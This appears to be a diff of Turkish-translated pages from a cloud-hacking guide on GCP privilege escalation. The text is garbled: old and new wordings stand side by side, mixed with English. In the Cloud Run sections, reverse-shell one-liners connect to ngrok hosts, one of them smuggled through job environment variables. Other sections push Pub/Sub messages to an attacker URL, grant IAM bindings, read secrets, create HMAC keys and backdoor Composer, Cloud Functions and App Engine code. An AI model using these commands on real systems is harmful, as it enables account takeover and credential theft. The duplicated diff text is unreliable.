Bir service account'un kimliğine bürünmek, yeni ve daha iyi ayrıcalıklar elde etmek için çok faydalı olabilir. Başka bir service account'un kimliğine bürünmenin üç yolu vardır: [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
|
||||
Bir service account'u taklit etmek, **obtain new and better privileges** elde etmek için çok faydalı olabilir. Başka bir service account'u [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account) yapmanın üç yolu vardır:
|
||||
|
||||
- RSA private keys kullanarak authentication (yukarıda ele alındı)
|
||||
- Cloud IAM policies kullanarak authorization (burada ele alındı)
|
||||
- GCP servislerinde jobs deploy etme (daha çok bir kullanıcı hesabının ele geçirilmesine uygulanır)
|
||||
- Authentication **using RSA private keys** (covered above)
|
||||
- Authorization **using Cloud IAM policies** (covered here)
|
||||
- **Deploying jobs on GCP services** (more applicable to the compromise of a user account)
|
||||
|
||||
### `iam.serviceAccounts.getOpenIdToken`
|
||||
|
||||
Bahsedilen izinlere sahip bir saldırgan, bir OpenID JWT oluşturabilir. Bunlar kimliği doğrulamak için kullanılır ve bir kaynağa karşı otomatik olarak herhangi bir yetki taşımazlar.
|
||||
Belirtilen izinlere sahip bir saldırgan, bir OpenID JWT üretebilir. Bunlar kimliği doğrulamak için kullanılır ve mutlaka bir kaynağa karşı örtük bir yetkilendirme taşımazlar.
|
||||
|
||||
According to this [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), tokenu kullanmak istediğiniz servis (audience) belirtmeniz gerektiğini söylüyor ve size hizmet hesabını ve JWT'nin audience'ını gösteren, google tarafından imzalanmış bir JWT verilecektir.
|
||||
Bu [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b)'a göre, audience'ı (token'ı kimliği doğrulamak için kullanmak istediğiniz servis) belirtmeniz gerekir ve size service account ile JWT'nin audience'ını belirten, google tarafından imzalanmış bir JWT verilecektir.
|
||||
|
||||
You can generate an OpenIDToken (if you have the access) with:
|
||||
|
||||
<details><summary>Hizmet hesabı için OpenID token oluşturma</summary>
|
||||
Erişiminiz varsa bir OpenIDToken şu şekilde üretebilirsiniz:
|
||||
```bash
|
||||
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
|
||||
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
|
||||
# Then, generate token
|
||||
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
|
||||
```
|
||||
</details>
|
||||
|
||||
Ardından servise erişmek için bunu kullanabilirsiniz:
|
||||
|
||||
<details><summary>OpenID token ile kimlik doğrulayın</summary>
|
||||
Bunu kullanarak servise şu şekilde erişebilirsiniz:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
|
||||
```
|
||||
</details>
|
||||
|
||||
Bu tür token'lar aracılığıyla kimlik doğrulamayı destekleyen bazı servisler şunlardır:
|
||||
Bu tür token'larla kimlik doğrulamayı destekleyen bazı servisler şunlardır:
|
||||
|
||||
- [Google Cloud Run](https://cloud.google.com/run/)
|
||||
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
|
||||
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (eğer Google OIDC kullanılıyorsa)
|
||||
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
|
||||
|
||||
Bir service account adına OpenID token oluşturmanın bir örneğini [**burada**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py) bulabilirsiniz.
|
||||
Bir servis hesabı adına bir OpenID token oluşturma örneğini [**burada**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py) bulabilirsiniz.
|
||||
|
||||
## Kaynaklar
|
||||
## Referanslar
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
|
||||
@@ -10,28 +10,61 @@ Daha fazla bilgi için:
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
{{#endref}}
|
||||
|
||||
### `pubsub.snapshots.create`
|
||||
|
||||
Konu snapshotları **mevcut unACKed mesajları ve sonrasındaki her mesajı** içerir. Tüm mesajlara **erişmek için bir snapshot oluşturabilir**, **konuya doğrudan erişimden kaçınabilirsiniz**.
|
||||
### `pubsub.snapshots.create` (`pubsub.topics.attachSubscription`)
|
||||
|
||||
Topic'lerin snapshot'ları **mevcut unACKed mesajları ve ondan sonraki tüm mesajları içerir**. Bir topic'in snapshot'unu oluşturarak **tüm mesajlara erişebilirsiniz**, **topic'e doğrudan erişmeden**.
|
||||
```bash
|
||||
gcloud pubsub subscriptions create <subscription_name> --topic <topic_name> --push-endpoint https://<URL_to_push_to>
|
||||
```
|
||||
### **`pubsub.snapshots.setIamPolicy`**
|
||||
|
||||
Önceki izinleri kendinize atayın.
|
||||
Önceki izinleri size atar.
|
||||
|
||||
### `pubsub.subscriptions.create`
|
||||
|
||||
Belirtilen URL'ye tüm alınan mesajları gönderecek bir push aboneliği oluşturabilirsiniz.
|
||||
Alınan tüm mesajları belirtilen URL'ye gönderecek bir push aboneliği oluşturabilirsiniz (topic içinde).
|
||||
|
||||
### **`pubsub.subscriptions.update`**
|
||||
|
||||
Mesajları çalmak için kendi URL'nizi push uç noktası olarak ayarlayın.
|
||||
Mesajları çalmak için kendi URL'nizi push endpoint olarak ayarlayın.
|
||||
|
||||
### `pubsub.subscriptions.consume`
|
||||
|
||||
Abonelik kullanarak mesajlara erişin.
|
||||
|
||||
Aboneliği kullanarak mesajlara erişin.
|
||||
```bash
|
||||
gcloud pubsub subscriptions pull <SUSCRIPTION> \
|
||||
--limit=50 \
|
||||
--format="json" \
|
||||
--project=<PROJECTID>
|
||||
```
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
Kendinize herhangi bir önceki izni verin.
|
||||
Kendinize önceki izinlerden herhangi birini verin.
|
||||
```bash
|
||||
# Add Binding
|
||||
gcloud pubsub subscriptions add-iam-policy-binding <SUSCRIPTION_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Remove Binding
|
||||
gcloud pubsub subscriptions remove-iam-policy-binding <SUSCRIPTION_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="<ROLE_OR_CUSTOM_ROLE>" \
|
||||
--project="<PROJECT_ID>"
|
||||
|
||||
# Change Policy
|
||||
gcloud pubsub subscriptions set-iam-policy <SUSCRIPTION_NAME> \
|
||||
<(echo '{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE_OR_CUSTOM_ROLE>",
|
||||
"members": [
|
||||
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
|
||||
]
|
||||
}
|
||||
]
|
||||
}') \
|
||||
--project=<PROJECT_ID>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Run
|
||||
|
||||
Cloud Run hakkında daha fazla bilgi için bakınız:
|
||||
Cloud Run hakkında daha fazla bilgi için bakın:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
@@ -12,18 +12,15 @@ Cloud Run hakkında daha fazla bilgi için bakınız:
|
||||
|
||||
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
|
||||
|
||||
Bu izinlere sahip bir saldırgan, **rastgele kod çalıştıran bir run service oluşturabilir** (rastgele Docker container), buna bir Service Account iliştirebilir ve kodun **Service Account token'ını metadata'dan exfiltrate etmesini** sağlayabilir.
|
||||
Bu izinlere sahip bir saldırgan, **arbitrary code çalıştıran bir run service oluşturabilir** (arbitrary Docker container), ona bir Service Account atayabilir ve kodun **Service Account token'ını metadata'dan exfiltrate etmesini** sağlayabilir.
|
||||
|
||||
Bu yöntem için exploit script şurada bulunabilir: [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) ve Docker image şurada bulunabilir: [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
|
||||
Bu yöntem için exploit script'i [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) adresinde bulunabilir ve Docker image [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage) adresinde mevcuttur.
|
||||
|
||||
Not: Sadece servisi oluşturmak yerine `gcloud run deploy` kullanıldığında **`update` iznine ihtiyaç duyduğunu** unutmayın. Bir [**örnek için buraya bakın**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
Dikkat: sadece servisi oluşturmak yerine `gcloud run deploy` kullanıldığında **`update` permission'ına** ihtiyaç vardır. Bir [**örneğe buradan bakın**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
|
||||
|
||||
### `run.services.update` , `iam.serviceAccounts.actAs`
|
||||
|
||||
Bir önceki ile aynı, fakat mevcut bir servisi güncelliyor:
|
||||
|
||||
<details>
|
||||
<summary>Deploy Cloud Run service with reverse shell</summary>
|
||||
Öncekine benzer fakat bir servisi güncelliyor:
|
||||
```bash
|
||||
# Launch some web server to listen in port 80 so the service works
|
||||
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
|
||||
@@ -39,18 +36,29 @@ gcloud run deploy hacked \
|
||||
|
||||
# If you don't have permissions to use "--allow-unauthenticated", dont use it
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.services.setIamPolicy`
|
||||
|
||||
cloud Run üzerinde kendinize ayrıcalıklı izinler verin.
|
||||
Kendinize cloud Run üzerinde ayrıcalıklı izinler verin.
|
||||
```bash
|
||||
# Change policy
|
||||
gcloud run services set-iam-policy <SERVICE_NAME> <POLICY_FILE>.json \
|
||||
--region=us-central1
|
||||
|
||||
# Add binding
|
||||
gcloud run services add-iam-policy-binding <SERVICE_NAME> \
|
||||
--member="allUsers" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
|
||||
# Remove binding
|
||||
gcloud run services remove-iam-policy-binding <SERVICE_NAME> \
|
||||
--member="allUsers" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
```
|
||||
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Komutta belirtilen servis hesabını çalmak için reverse shell içeren bir job başlatın. Bir [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
|
||||
|
||||
<details>
|
||||
<summary>Reverse shell içeren Cloud Run job oluştur</summary>
|
||||
Komutta belirtilen service account'ı ele geçirmek için reverse shell içeren bir job başlatın. Bir [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh) bulabilirsiniz.
|
||||
```bash
|
||||
gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--image=ubuntu:latest \
|
||||
@@ -60,14 +68,9 @@ gcloud beta run jobs create jab-cloudrun-3326 \
|
||||
--region=us-central1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
|
||||
|
||||
Öncekine benzer şekilde **bir job'u ve SA'yı güncellemek**, **komutu değiştirmek** ve **çalıştırmak** mümkündür:
|
||||
|
||||
<details>
|
||||
<summary>Update Cloud Run job and execute with reverse shell</summary>
|
||||
Öncekine benzer şekilde **bir job'u ve SA'yı güncellemek**, **komutu belirlemek** ve **çalıştırmak** mümkündür:
|
||||
```bash
|
||||
gcloud beta run jobs update hacked \
|
||||
--image=mubuntu:latest \
|
||||
@@ -77,23 +80,32 @@ gcloud beta run jobs update hacked \
|
||||
--region=us-central1 \
|
||||
--execute-now
|
||||
```
|
||||
</details>
|
||||
|
||||
### `run.jobs.setIamPolicy`
|
||||
|
||||
Cloud Jobs üzerinde daha önce bahsedilen izinleri kendinize verin.
|
||||
Cloud Jobs üzerinde kendinize önceki izinleri verin.
|
||||
```bash
|
||||
# Change policy
|
||||
gcloud run jobs set-iam-policy <JOB_NAME> <POLICY_FILE>.json \
|
||||
--region=us-central1
|
||||
|
||||
# Add binding
|
||||
gcloud run jobs add-iam-policy-binding <JOB_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
|
||||
# Remove binding
|
||||
gcloud run jobs remove-iam-policy-binding <JOB_NAME> \
|
||||
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="roles/run.invoker" \
|
||||
--region=us-central1
|
||||
```
|
||||
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
|
||||
|
||||
Bir job yürütmesinin env variables'ını suistimal ederek arbitrary code çalıştırın ve container içeriğini (source code) döküp reverse shell elde ederek metadata içindeki SA'ya erişin:
|
||||
|
||||
<details>
|
||||
<summary>environment variable suistimali ile Cloud Run job çalıştırma</summary>
|
||||
Bir job execution'ın env variables'ını kötüye kullanarak arbitrary code çalıştırın ve container içeriğini (source code) dökmek ve metadata içindeki SA'ya erişmek için bir reverse shell elde edin:
|
||||
```bash
|
||||
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
|
||||
```
|
||||
</details>
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## secretmanager
|
||||
|
||||
secretmanager hakkında daha fazla bilgi için:
|
||||
For more information about secretmanager:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
@@ -12,16 +12,16 @@ secretmanager hakkında daha fazla bilgi için:
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
Bu, secret manager'daki secret'ları okuma erişimi sağlar ve içindeki saklanan bilgilere bağlı olarak yetki yükseltmesine yardımcı olabilir:
|
||||
Bu, secret manager'daki secret'leri okumaya erişim sağlar ve içinde hangi bilginin saklandığına bağlı olarak ayrıcalık yükseltmesine (privesc) yardımcı olabilir:
|
||||
|
||||
<details><summary>Get clear-text secret version</summary>
|
||||
<details><summary>Secret sürümünü açık metin olarak al</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
</details>
|
||||
|
||||
Bu aynı zamanda bir post exploitation tekniği olduğundan şu adreste bulunabilir:
|
||||
Bu aynı zamanda bir post exploitation tekniği olduğundan şu dosyada bulunabilir:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
|
||||
@@ -29,7 +29,7 @@ Bu aynı zamanda bir post exploitation tekniği olduğundan şu adreste bulunabi
|
||||
|
||||
### `secretmanager.secrets.setIamPolicy`
|
||||
|
||||
Bu, secret manager'daki secrets'leri okumaya erişim sağlar; örneğin:
|
||||
Bu size secret manager içindeki secrets'ları okumaya erişim sağlar; örneğin şu şekilde:
|
||||
|
||||
<details><summary>Add IAM policy binding to secret</summary>
|
||||
```bash
|
||||
@@ -37,6 +37,12 @@ gcloud secrets add-iam-policy-binding <scret-name> \
|
||||
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
Veya politikaları şu şekilde iptal edin:
|
||||
```bash
|
||||
gcloud secrets remove-iam-policy-binding <secret-name> \
|
||||
--member="serviceAccount:<sa-name>@<PROJECT_ID>.iam.gserviceaccount.com" \
|
||||
--role="roles/secretmanager.secretAccessor"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,28 +12,82 @@ Basic Information:
|
||||
|
||||
### `storage.objects.get`
|
||||
|
||||
Bu izin, **Cloud Storage içinde depolanan dosyaları indirmenize** olanak tanır. Bu, bazı durumlarda **hassas bilgilerin orada saklanması** nedeniyle potansiyel olarak escalate privileges sağlamanıza izin verebilir. Ayrıca, bazı GCP servisleri bilgilerini buckets içinde saklar:
|
||||
Bu izin, Cloud Storage içinde saklanan dosyaları **indirmeyi** sağlar. Bu, bazı durumlarda **hassas bilgilerin orada saklanması** nedeniyle potansiyel olarak yetki yükseltmeye olanak verebilir. Ayrıca bazı GCP servisleri bilgilerini bucket'larda saklar:
|
||||
|
||||
- **GCP Composer**: Bir Composer Environment oluşturduğunuzda **tüm DAG'lerin kodu** bir **bucket** içinde kaydedilir. Bu görevlerin kodlarında ilginç bilgiler bulunabilir.
|
||||
- **GCR (Container Registry)**: Container'ların **image**'ları **buckets** içinde saklanır; bu da eğer buckets'ları okuyabiliyorsanız image'ları indirip **search for leaks and/or source code** yapabilmenizi sağlar.
|
||||
- **GCP Composer**: Bir Composer Environment oluşturduğunuzda **tüm DAG'ların kodu** bir **bucket** içinde saklanır. Bu görevler kodlarının içinde ilginç bilgiler barındırabilir.
|
||||
- **GCR (Container Registry)**: Container'ların **image'leri** **buckets** içinde saklanır; bu da bucket'ları okuyabilirseniz image'leri indirip **leaks** ve/veya **source code** arayabileceğiniz anlamına gelir.
|
||||
|
||||
### `storage.objects.setIamPolicy`
|
||||
|
||||
Bu izin, bu bölümdeki önceki senaryoların herhangi birini **kötüye kullanmanıza** olanak sağlayabilir.
|
||||
Bu izin, bu bölümdeki önceki senaryoların herhangi birini **kötüye kullanma** yetkisi verebilir.
|
||||
```bash
|
||||
# Add binding
|
||||
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role="<ROLE>" \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Remove binding
|
||||
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role="<ROLE>" \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Change Policy
|
||||
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
|
||||
--project=<PROJECT_ID> <<'POLICY'
|
||||
{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE>",
|
||||
"members": [
|
||||
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
POLICY
|
||||
|
||||
```
|
||||
### **`storage.buckets.setIamPolicy`**
|
||||
|
||||
Bu izni kullanarak izinleri nasıl değiştireceğinize dair bir örnek için bu sayfaya bakın:
|
||||
Bu iznin kullanımıyla izinleri nasıl değiştirebileceğinize dair bir örnek için bu sayfaya bakın:
|
||||
```bash
|
||||
# Add binding
|
||||
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role=<ROLE> \
|
||||
--project=<MY_PROJECT>
|
||||
|
||||
# Remove binding
|
||||
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role=<ROLE> \
|
||||
--project=<MY_PROJECT>
|
||||
|
||||
# Change policy
|
||||
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
|
||||
--project=<PROJECT_ID> <<'POLICY'
|
||||
{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE>",
|
||||
"members": [
|
||||
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
POLICY
|
||||
|
||||
```
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
Cloud Storage'ın "interoperability" özelliği, AWS S3 gibi **cross-cloud interactions** için tasarlanmıştır ve **Service Accounts ve kullanıcılar için HMAC anahtarlarının oluşturulmasını** içerir. Bir saldırgan bunu, **yüksek ayrıcalıklara sahip bir Service Account için bir HMAC anahtarı oluşturarak** suistimal edebilir; böylece **escalating privileges within Cloud Storage** gerçekleşebilir. Kullanıcıya bağlı HMAC anahtarları yalnızca web console üzerinden alınabilirken, hem access hem secret keys **perpetually accessible** durumda kalarak potansiyel olarak yedek erişim depolamaya izin verir. Buna karşılık, Service Account ile ilişkili HMAC anahtarları API üzerinden erişilebilir, ancak oluşturulduktan sonra access ve secret anahtarları alınamaz; bu da sürekli erişim için ek bir karmaşıklık katmanı ekler.
|
||||
|
||||
<details><summary>Create and use HMAC key for privilege escalation</summary>
|
||||
Cloud Storage'ın "interoperability" özelliği, AWS S3 gibi **bulutlar arası etkileşimler** için tasarlanmıştır ve **Service Accounts ve users için HMAC anahtarlarının oluşturulmasını** içerir. Bir saldırgan bunu, **ayrıcalıkları yükseltilmiş bir Service Account için bir HMAC anahtarı oluşturarak** suistimal edebilir; böylece **Cloud Storage içinde ayrıcalık yükseltme** gerçekleşir. Kullanıcıya bağlı HMAC anahtarları yalnızca web konsolu üzerinden alınabilirken, hem access hem de secret anahtarlar **sürekli erişilebilir** durumda kalarak potansiyel yedek erişim depolamaya izin verir. Buna karşılık, Service Account'a bağlı HMAC anahtarları API üzerinden erişilebilir, ancak oluşturma sonrası access ve secret anahtarları alınamaz; bu da sürekli erişim için ek bir karmaşıklık katmanı ekler.
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
|
||||
@@ -63,56 +117,54 @@ gsutil ls gs://[BUCKET_NAME]
|
||||
# Restore
|
||||
gcloud config set pass_credentials_to_gsutil true
|
||||
```
|
||||
</details>
|
||||
|
||||
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
### `storage.objects.create`, `storage.objects.delete` = Storage Yazma izinleri
|
||||
### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
|
||||
|
||||
In order to **create a new object** inside a bucket you need `storage.objects.create` and, according to [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), you need also `storage.objects.delete` to **modify** an existent object.
|
||||
Bir bucket içine **yeni bir object oluşturmak** için `storage.objects.create` gerekir ve, [docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions)'a göre, mevcut bir object'i **değiştirmek** için ayrıca `storage.objects.delete` gereklidir.
|
||||
|
||||
A very **common exploitation** of buckets where you can write in cloud is in case the **bucket is saving web server files**, you might be able to **store new code** that will be used by the web application.
|
||||
Bulutta yazma izniniz olan bucket'ların çok **yaygın bir sömürüsü**, bucket web sunucu dosyalarını saklıyorsa, web uygulaması tarafından kullanılacak **yeni kodu depolayabilmenizdir**.
|
||||
|
||||
### Composer
|
||||
|
||||
**Composer** is **Apache Airflow** managed inside GCP. It has several interesting features:
|
||||
**Composer**, GCP içinde yönetilen **Apache Airflow**'dur. Birkaç ilgi çekici özelliği vardır:
|
||||
|
||||
- It runs inside a **GKE cluster**, so the **SA the cluster uses is accessible** by the code running inside Composer
|
||||
- All the components of a composer environments (**code of DAGs**, plugins and data) are stores inside a GCP bucket. If the attacker has read and write permissions over it, he could monitor the bucket and **whenever a DAG is created or updated, submit a backdoored version** so the composer environment will get from the storage the backdoored version.
|
||||
- **GKE cluster** içinde çalışır, bu yüzden cluster'ın kullandığı **SA, Composer içinde çalışan kod tarafından erişilebilir**.
|
||||
- Bir composer ortamının tüm bileşenleri (**DAGs kodu**, pluginler ve veriler) bir GCP bucket içinde saklanır. Eğer bir saldırganın bu bucket üzerinde okuma ve yazma izinleri varsa, bucket'ı izleyip **herhangi bir DAG oluşturulduğunda veya güncellendiğinde, arka kapılı bir sürüm göndererek** composer ortamının storage'dan arka kapılı sürümü almasını sağlayabilir.
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
**Bu saldırının PoC'unu repo'da bulabilirsiniz:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
|
||||
### Cloud Functions
|
||||
|
||||
- Cloud Functions code is stored in Storage and whenever a new version is created the code is pushed to the bucket and then the new container is build from this code. Therefore, **overwriting the code before the new version gets built it's possible to make the cloud function execute arbitrary code**.
|
||||
- Cloud Functions kodu Storage içinde saklanır ve yeni bir versiyon oluşturulduğunda kod bucket'a gönderilir ve ardından bu koddan yeni container build edilir. Bu nedenle, **yeni versiyon build edilmeden önce kodu overwrite etmek, cloud function'ın rastgele kod çalıştırmasını sağlamak için mümkündür**.
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
**Bu saldırının PoC'unu repo'da bulabilirsiniz:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
|
||||
### App Engine
|
||||
|
||||
AppEngine versions generate some data inside a bucket with the format name: `staging.<project-id>.appspot.com`. Inside this bucket, it's possible to find a folder called `ae` that will contain a folder per version of the AppEngine app and inside these folders it'll be possible to find the `manifest.json` file. This file contains a json with all the files that must be used to create the specific version. Moreover, it's possible to find the **real names of the files, the URL to them inside the GCP bucket (the files inside the bucket changed their name for their sha1 hash) and the sha1 hash of each file.**
|
||||
AppEngine versiyonları, `staging.<project-id>.appspot.com` formatında bir bucket içinde bazı veriler üretir. Bu bucket içinde, her AppEngine versiyonu için bir klasör içeren `ae` adında bir klasör bulunabilir ve bu klasörlerin içinde `manifest.json` dosyasını bulmak mümkün olur. Bu dosya, belirli versiyonun oluşturulmasında kullanılacak tüm dosyaların json'unu içerir. Ayrıca, **dosyaların gerçek isimlerini, GCP bucket içindeki URL'lerini (bucket içindeki dosyalar isimlerini sha1 hash'leri ile değiştirmiştir) ve her dosyanın sha1 hash'ini** bulmak mümkündür.
|
||||
|
||||
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
|
||||
|
||||
However, with read & write access over this bucket, it's possible to escalate privileges to the SA attached to the App Engine version by monitoring the bucket and any time a change is performed (new version), modify the new version as fast as possible. This way, the container that gets created from this code will execute the backdoored code.
|
||||
Ancak, bu bucket üzerinde okuma & yazma erişimi ile, bucket'ı izleyerek ve her değişiklik (yeni versiyon) yapıldığında yeni versiyonu mümkün olan en hızlı şekilde değiştirerek App Engine versiyonuna bağlı SA'ya ayrıcalık yükseltmesi yapmak mümkündür. Bu şekilde, bu koddan oluşturulan container arka kapılı kodu çalıştıracaktır.
|
||||
|
||||
The mentioned attack can be performed in a lot of different ways, all of them start by monitoring the `staging.<project-id>.appspot.com` bucket:
|
||||
Bahsedilen saldırı birçok farklı şekilde gerçekleştirilebilir, hepsi `staging.<project-id>.appspot.com` bucket'ını izlemekle başlar:
|
||||
|
||||
- Upload the complete new code of the AppEngine version to a different and available bucket and prepare a **`manifest.json` file with the new bucket name and sha1 hashes of them**. Then, when a new version is created inside the bucket, you just need to modify the `manifest.json` file and upload the malicious one.
|
||||
- Upload a modified `requirements.txt` version that will use a the **malicious dependencies code and update the `manifest.json`** file with the new filename, URL and the hash of it.
|
||||
- Upload a **modified `main.py` or `app.yaml` file that will execute the malicious code** and update the `manifest.json` file with the new filename, URL and the hash of it.
|
||||
- AppEngine versiyonunun tamamını farklı ve kullanılabilir bir bucket'a yükleyin ve yeni bucket adı ile bunların sha1 hash'lerini içeren bir **`manifest.json` dosyası hazırlayın**. Ardından, bucket içinde yeni bir versiyon oluşturulduğunda sadece `manifest.json` dosyasını değiştirip kötü amaçlı olanı yüklemeniz yeterlidir.
|
||||
- Kötü amaçlı bağımlılık kodunu kullanacak şekilde değiştirilmiş bir `requirements.txt` sürümü yükleyin ve `manifest.json` dosyasını yeni dosya adı, URL ve hash ile güncelleyin.
|
||||
